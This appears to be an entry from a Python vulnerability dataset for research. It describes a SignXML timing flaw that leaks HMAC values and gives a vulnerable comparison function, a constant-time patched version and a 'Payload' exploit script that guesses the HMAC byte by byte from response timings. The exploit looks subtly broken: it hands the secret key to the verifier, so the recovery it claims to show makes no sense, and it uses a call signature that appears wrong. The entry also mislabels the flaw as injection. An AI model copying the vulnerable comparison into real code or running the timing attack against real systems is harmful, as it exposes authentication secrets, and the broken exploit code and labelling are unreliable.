CVE-2025-48995
SignXML < 4.0.4 timing attack allows HMAC recovery when X509 validation is off.
- CVSS 6.9
- CWE-208
- Cryptographic
- Remote
SignXML is an implementation of the W3C XML Signature standard in Python. When verifying signatures with X509 certificate validation turned off and HMAC shared secret set (`signxml.XMLVerifier.verify(require_x509=False, hmac_key=…`), versions of SignXML prior to 4.0.4 are vulnerable to a potential timing attack. The verifier may leak information about the correct HMAC when comparing it with the user supplied hash, allowing users to reconstruct the correct HMAC for any data.
- CWE
- CWE-208
- CVSS base score
- 6.9
- Published
- 2025-06-02
- OWASP
- A03:2021-Injection
- Orthogonal defect classification
- Timing/Serialization
- Code defect classification
- Timing Issues
- Category
- Cryptographic
- Subcategory
- Cryptographic Implementation Error
- Accessibility scope
- Remote
- Impact
- Information Disclosure
- Affected component
- SignXML
- Fixed by upgrading
- Yes
Solution
Upgrade to SignXML version 4.0.4 or later.
Vulnerable code sample
import time
import hmac
import hashlib
def insecure_hmac_compare(known_hmac, user_hmac):
"""
Insecure comparison function vulnerable to timing attacks.
This simulates the vulnerable comparison used in older SignXML versions.
"""
if len(known_hmac) != len(user_hmac):
return False
result = True
for i in range(len(known_hmac)):
# Introduce a small delay proportional to whether the characters match or not.
# This delay is subtle but measurable, allowing timing attacks.
if known_hmac[i] != user_hmac[i]:
result = False
time.sleep(0.0001) # Simulate time difference for incorrect bytes
return result
def generate_hmac(key, data):
"""Generates an HMAC using SHA256."""
return hmac.new(key, data, hashlib.sha256).hexdigest()
# Example usage (illustrative of the vulnerability, not a direct exploit)
if __name__ == '__main__':
secret_key = b"MySecretKey"
data = b"SensitiveData"
correct_hmac = generate_hmac(secret_key, data)
print(f"Correct HMAC: {correct_hmac}")
# Simulated attack - trying different HMACs
test_hmac = "0" * len(correct_hmac) # Start with an incorrect HMAC
start_time = time.time()
result = insecure_hmac_compare(correct_hmac, test_hmac)
end_time = time.time()
print(f"Comparison result: {result}")
print(f"Time taken: {end_time - start_time}")
# Further experimentation could involve trying to guess the HMAC byte by byte,
# measuring the time taken for each comparison, and using the timing information
# to infer the correct value. This is a greatly simplified example and would require
# more complex analysis to exploit in a real-world scenario.Patched code sample
import hashlib
import hmac
def secure_compare(known_string, user_string):
"""
Compares two strings in constant time to prevent timing attacks.
"""
if len(known_string) != len(user_string):
return False
result = 0
for x, y in zip(known_string, user_string):
result |= ord(x) ^ ord(y)
return result == 0
def verify_hmac(data, user_hmac, hmac_key):
"""
Verifies an HMAC signature using a secure comparison to prevent timing attacks.
"""
calculated_hmac = hmac.new(hmac_key.encode('utf-8'), data.encode('utf-8'), hashlib.sha256).hexdigest()
return secure_compare(calculated_hmac, user_hmac)
# Example Usage (Demonstration, not exploitable without the vulnerable SignXML context)
if __name__ == '__main__':
data = "This is some sensitive data."
hmac_key = "secret_key"
# Calculate the correct HMAC
correct_hmac = hmac.new(hmac_key.encode('utf-8'), data.encode('utf-8'), hashlib.sha256).hexdigest()
# Simulate a user-provided HMAC
user_hmac = "a" * len(correct_hmac) # Incorrect, attacker might try many values
# Securely verify the HMAC
is_valid = verify_hmac(data, user_hmac, hmac_key)
if is_valid:
print("HMAC is valid.")
else:
print("HMAC is invalid.")
# Test the secure compare function.
known_string = "abcdefg"
user_string = "abcdefg"
print(f"Comparing '{known_string}' and '{user_string}': {secure_compare(known_string, user_string)}")
user_string = "abcdeff"
print(f"Comparing '{known_string}' and '{user_string}': {secure_compare(known_string, user_string)}")
user_string = "abcdef"
print(f"Comparing '{known_string}' and '{user_string}': {secure_compare(known_string, user_string)}")Payload
import time
import hashlib
import hmac
import signxml
def time_hmac_verification(data, hmac_key, guess_hmac):
start_time = time.time()
try:
signxml.XMLVerifier().verify(data.encode('utf-8'), require_x509=False, hmac_key=hmac_key, hmac_algorithm="sha256",signature=guess_hmac.encode('utf-8')) # Inject the guess into the signature parameter
result = True
except Exception as e:
result = False
end_time = time.time()
return end_time - start_time, result
def exploit(data, hmac_key, iterations=256):
"""
Exploits the timing attack vulnerability in signxml versions < 4.0.4
when verifying signatures with X509 certificate validation turned off
and HMAC shared secret set.
Args:
data: The data to be "signed" (XML string).
hmac_key: The HMAC key used for signing.
iterations: Number of iterations.
Returns:
The recovered HMAC value.
"""
recovered_hmac = bytearray([0] * 32) #Assuming SHA256 HMAC
for byte_index in range(32):
timings = {}
for byte_value in range(256):
guess_hmac_bytes = bytes(recovered_hmac[:byte_index]) + bytes([byte_value]) + bytes([0] * (32 - byte_index - 1))
guess_hmac = guess_hmac_bytes.hex()
timing, verification_result = time_hmac_verification(data, hmac_key, guess_hmac) # Use our timing method
timings[byte_value] = timing
best_byte = max(timings, key=timings.get)
recovered_hmac[byte_index] = best_byte
print(f"Byte {byte_index}: Guessed 0x{best_byte:02x}, Cumulative HMAC: {recovered_hmac.hex()}")
return recovered_hmac.hex()
if __name__ == '__main__':
data = "<root>This is some data</root>"
hmac_key = "secret_key".encode('utf-8')
# Generate the real HMAC for verification
real_hmac = hmac.new(hmac_key, data.encode('utf-8'), hashlib.sha256).hexdigest()
recovered_hmac = exploit(data, hmac_key.decode('utf-8'))
print(f"Real HMAC: {real_hmac}")
print(f"Recovered HMAC: {recovered_hmac}")
if real_hmac == recovered_hmac:
print("HMAC successfully recovered!")
else:
print("HMAC recovery failed.")
Cite this entry
@misc{vaitp:cve202548995,
title = {{SignXML < 4.0.4 timing attack allows HMAC recovery when X509 validation is off.
}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2025},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-48995},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-48995/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
